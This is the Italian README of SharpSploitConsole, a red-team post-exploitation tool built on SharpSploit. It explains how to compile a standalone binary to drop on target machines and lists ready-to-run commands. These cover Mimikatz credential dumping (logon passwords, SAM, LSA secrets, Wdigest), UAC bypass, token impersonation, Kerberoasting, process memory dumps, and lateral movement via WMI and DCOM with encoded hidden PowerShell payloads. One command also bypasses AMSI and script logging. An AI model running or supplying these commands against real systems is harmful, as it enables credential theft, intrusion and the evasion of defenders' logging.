
Applicazione console C# per operazioni di post-sfruttamento e red team, che integra SharpSploit per eseguire comandi di Mimikatz, eseguire Kerberoasting, bypassare UAC, dump delle credenziali e muoversi lateralmente tramite WMI/DCOM.
Applicazione console progettata per interagire con SharpSploit rilasciato da @cobbr_io > https://github.com/cobbr/SharpSploit
SharpSploit è uno strumento scritto da @cobbr_io che combina molte tecniche/codice C# provenienti dalla comunità della sicurezza informatica e le riunisce in una singola DLL fantastica. È pazzesco, quindi dacci un'occhiata!
SharpSploit Console è solo un binario proof of concept veloce per aiutare penetration tester o red team con meno esperienza in C# a giocare con alcune delle meraviglie di SharpSploit. Seguendo le istruzioni qui sotto dovresti essere in grado di incorporare sia SharpSploit.dll che System.Management.Automation.dll nel binario SharpSploitConsole, creando un eseguibile standalone che puoi rilasciare su un sistema target appropriato ed eseguire tramite una shell non interattiva (come beacon).
Questo concetto può essere applicato a molti binari C#. Ad esempio, potremmo incorporare System.Management.Automation.dll nel nostro amato C# NoPowershell.exe, creando un binario che non dipende da System.Management.Automation.dll sul sistema target.
Per concludere, sono consapevole che esistono probabilmente migliaia di modi per migliorare, velocizzare, raffreddare, rendere più stealth, ecc. Quindi sentiti libero di farmelo sapere...in modo gentile. :) Ho anche intenzione di aggiungere più moduli e migliorare altri.
Contatto a:
Prima di inviare segnalazioni, questo strumento potrebbe non essere aggiornato attivamente. Ti incoraggio a prendere in prestito, aggiungere, modificare e/o crearne uno tuo. Ricorda, tutto il codice fantastico là fuori (e ce n'è molto) può essere preso/modificato per creare i tuoi strumenti personalizzati.
Nota: Ho usato Windows 10, Visual Studio 2017 - i risultati possono variare
Scarica lo strumento SharpSploit da https://github.com/cobbr/SharpSploit.git
Apri SharpSploit.sln in Visual Studio e compila (assicurati di compilare per l'architettura corretta) - Dovresti vedere un menu a tendina con Any CPU > Cliccaci sopra e apri Configuration Manager > sotto platform cambia all'architettura desiderata e seleziona ok.
Scarica lo strumento SharpSploitConsole e apri SharpSploitConsole.sln
Copia sia SharpSploit.dll che System.Management.Automation.dll che si trovano nella directory SharpSploit/bin/x64/Debug nella cartella SharpSploitConsole/bin/x64/Debug
Successivamente configureremo Visual Studio per incorporare le nostre DLL nell'exe in modo da avere un unico binario da eseguire sulla macchina target. Lo faremo nel modo seguente:
In Visual Studio:
a. Strumenti > Gestione pacchetti NuGet > Console di gestione pacchetti
b. Nella console esegui:
Install-Package Costura.Fody
c. Apri il Blocco note, incolla il codice qui sotto e salvalo con il nome FodyWeavers.xml all'interno della directory SharpSploitConsole che contiene le cartelle bin, obj, properties.
<?xml version="1.0" encoding="utf-8"?>
<Weavers>
<Costura />
</Weavers>
6. In Visual Studio, fai clic destro su Riferimenti a destra, scegli Aggiungi riferimento, quindi sfoglia fino alla directory SharpSploitConsole/bin/x64/Debug dove abbiamo messo i due DLL, selezionali e aggiungili.
Nota: Tutti i comandi non fanno distinzione tra maiuscole e minuscole
Di default tutti i comandi possono essere passati come argomenti della riga di comando, verranno eseguiti e il programma terminerà (ottimo per shell remote). Questo appare più o meno così: sharpSploitConsole.exe getSystem logonPasswords. In alternativa, se vuoi usare la modalità console interattiva, puoi usare il comando interact per ottenere una shell pseudo-interattiva.
Avvia la modalità console interattiva:
Interact
Esegue tutto di Mimikatz (non esegue DCSync) - richiede privilegi amministratore o di sistema:
Mimi-All
Esegue un comando Mimikatz specifico a tua scelta - richiede privilegi amministratore o di sistema:
Mimi-Command privilege::debug sekurlsa::logonPasswords
Esegue il comando Mimikatz privilege::debug sekurlsa::logonPasswords - richiede privilegi amministratore o di sistema:
logonPasswords
Esegue il comando Mimikatz per recuperare gli hash delle credenziali memorizzate nella cache del dominio dal registro - richiede privilegi amministratore o di sistema:
LsaCache
Esegue il comando Mimikatz per recuperare i segreti LSA memorizzati nel registro - richiede privilegi amministratore o di sistema:
LsaSecrets
Recupera gli hash delle password dal database SAM - richiede privilegi amministratore o di sistema:
SamDump
Recupera le credenziali Wdigest dal registro - richiede privilegi amministratore o di sistema:
Wdigest
Recupera l'utente corrente:
whoami
Username
Impersona l'utente di sistema - richiede privilegi amministratore:
GetSystem
Impersona l'utente di sistema - Impersona il token di un processo specificato, richiede pid - richiede privilegi amministratore:
Impersonate 2918
Bypassa UAC - richiede binario | comando | percorso del binario - richiede privilegi amministratore:
BypassUAC cmd.exe ipconfig C:\Windows\System32\
BypassUAC cmd.exe "" C:\Windows\System32\
Termina l'impersonificazione di qualsiasi token, ritorna al token iniziale associato al processo corrente:
RevertToSelf
Recupera la directory di lavoro corrente:
CurrentDirectory
Recupera l'elenco della directory corrente:
DirectoryListing
Cambia la directory corrente aggiungendo una stringa specificata alla directory di lavoro corrente:
ChangeDirectory SomeFolder
Recupera il nome host:
Hostname
Recupera l'elenco dei processi in esecuzione:
ProcessList
Crea un minidump della memoria di un processo in esecuzione, richiede PID | percorso output | nome output - richiede amministratore:
ProcDump 2198 C:\Users\Username\Desktop memorydump.dmp
Recupera il valore di un percorso di registro, richiede l'argomento del percorso completo:
ReadRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\BuildNumber
Scrive nel registro, richiede l'argomento del percorso completo e il valore:
WriteRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\RemoteAccessEnabled 1
Recupera gli utenti di un gruppo locale in remoto, richiede nomecomputer | nomegruppo | nomeutente | password:
NetLocalGroupMembers computerName Administrators domain\username P@55w0rd!
NetLocalGroupMembers 192.168.1.20 Administrators .\username P@55w0rd!
Recupera i gruppi locali in remoto, richiede nomecomputer | nomeutente | password:
NetLocalGroups computerName domain\username P@55w0rd!
NetLocalGroups 192.168.1.20 .\username P@55w0rd!
Recupera gli utenti attualmente connessi in remoto, richiede nomecomputer | nomeutente | password:
NetLoggedOnUsers computerName domain\username P@55w0rd!
NetLoggedOnUsers 192.168.1.20 .\username P@55w0rd!
Recupera le sessioni utente in remoto, richiede nomecomputer | nomeutente | password:
NetSessions computerName domain\username P@55w0rd!
NetSessions 192.168.1.20 .\username P@55w0rd!
Ping su sistemi, richiede nomi computer:
Ping computer1 computer2 computer3 computer4
Scansione delle porte su sistemi, richiede nomecomputer | porte:
PortScan computer1 80 443 445 22 23
Ottiene gli utenti del dominio, Recupera gli oggetti utente specificati (o tutti) nel dominio target, di default usa il contesto utente corrente. argomenti opzionali: -username -password -domain -server -searchbase -searchstring -target:
GetDomainUsers
Ottiene i gruppi del dominio, Recupera gli oggetti gruppo specificati (o tutti) nel dominio target, di default usa il contesto utente corrente. argomenti opzionali: -username -password -domain -server -searchbase -searchstring -target:
GetDomainGroups
GetDomainGroups -target "Domain Admins"
Ottiene i computer del dominio, Recupera gli oggetti computer specificati (o tutti) nel dominio target, di default usa il contesto utente corrente. argomenti opzionali: -username -password -domain -server -searchbase -searchstring -target:
GetDomainComputers
Esegue Kerberoasting, Esegue un attacco kerberoasting contro gli oggetti utente specificati (o tutti) nel dominio target, di default usa il contesto utente corrente. argomenti opzionali: -username -password -domain -server -searchbase -searchstring -target
Kerberoast
Kerberoast -username bob -password Password1 -domain test.corp -server 192.168.1.10 -target sqlService
Esegue un comando in remoto tramite WMI, richiede nomecomputer | nomeutente | password | comando - richiede amministratore:
WMI computer1 domain\username P@55w0rd! <payload completo di powershell empire>
WMI computer1 .\username P@55w0rd! powershell -noP -sta -w 1 -enc <Base64>
Esegue un comando in remoto tramite DCOM, richiede nomecomputer | comando | directory | parametri - richiede amministratore:
DCOM computer1 cmd.exe c:\Windows\System32 powershell -noP -sta -w 1 -enc <Base64>
Esegue un comando shell:
Shell ipconfig /all
Esegue un comando powershell tentando di bypassare AMSI, scriptBlock logging e Module logging:
Powershell -noP -sta -w 1 -enc <Base64>